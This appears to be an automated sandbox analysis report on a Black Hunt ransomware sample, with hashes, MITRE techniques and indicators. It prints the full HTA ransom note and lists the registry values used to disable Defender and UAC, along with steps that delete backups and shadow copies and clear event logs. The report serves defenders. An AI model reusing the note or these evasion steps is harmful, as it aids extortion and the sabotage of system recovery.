b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:36

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General

Target

b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
Size

707KB
MD5

cbddcd0dacb4ab3f8723c044ef220793
SHA1

bce925938248d416c88217f8726d197f5fd64db7
SHA256

b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c
SHA512

0e0774e562204a1e05fead571ed791508bf1d90141111505941ca66899be5ed1dae31703312ba779eac9d314636c9e77e17efd758d39bf6ccc73d59ef8cdbf18
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1C88vnh:6uaTmkZJ+naie5OTamgEoKxLWBih

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> YHuo2mqYsMZogRbS </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
4828	fsutil.exe
1664	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4548	wevtutil.exe
4620	wevtutil.exe
4744	wevtutil.exe
4732	wevtutil.exe
4724	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1308	bcdedit.exe
2820	bcdedit.exe
4884	bcdedit.exe
4800	bcdedit.exe

Renames multiple (2875) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1192	wbadmin.exe
4804	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3916	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\J:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\K:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\O:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\V:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\I:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\S:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\M:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\E:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\Y:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\P:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\U:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\W:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\R:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\H:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\L:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\Z:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\T:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\G:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\X:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\N:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened (read-only)	\??\B:	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\NetworkServerControl	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#BlackHunt_Private.key	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Madeira	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_ReadMe.txt	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Dot.png	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\#BlackHunt_ReadMe.txt	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Sakhalin	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#BlackHunt_ReadMe.hta	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#BlackHunt_ReadMe.hta	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.concurrent_1.1.0.v20130327-1442.jar	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\#BlackHunt_ReadMe.txt	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_Private.key	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_ja.properties	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-dialogs_ja.jar	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_Private.key	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_basestyle.css	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_zh_CN.jar	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-windows.xml	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\SaveAsRTF.api	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_ButtonGraphic.png	b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe
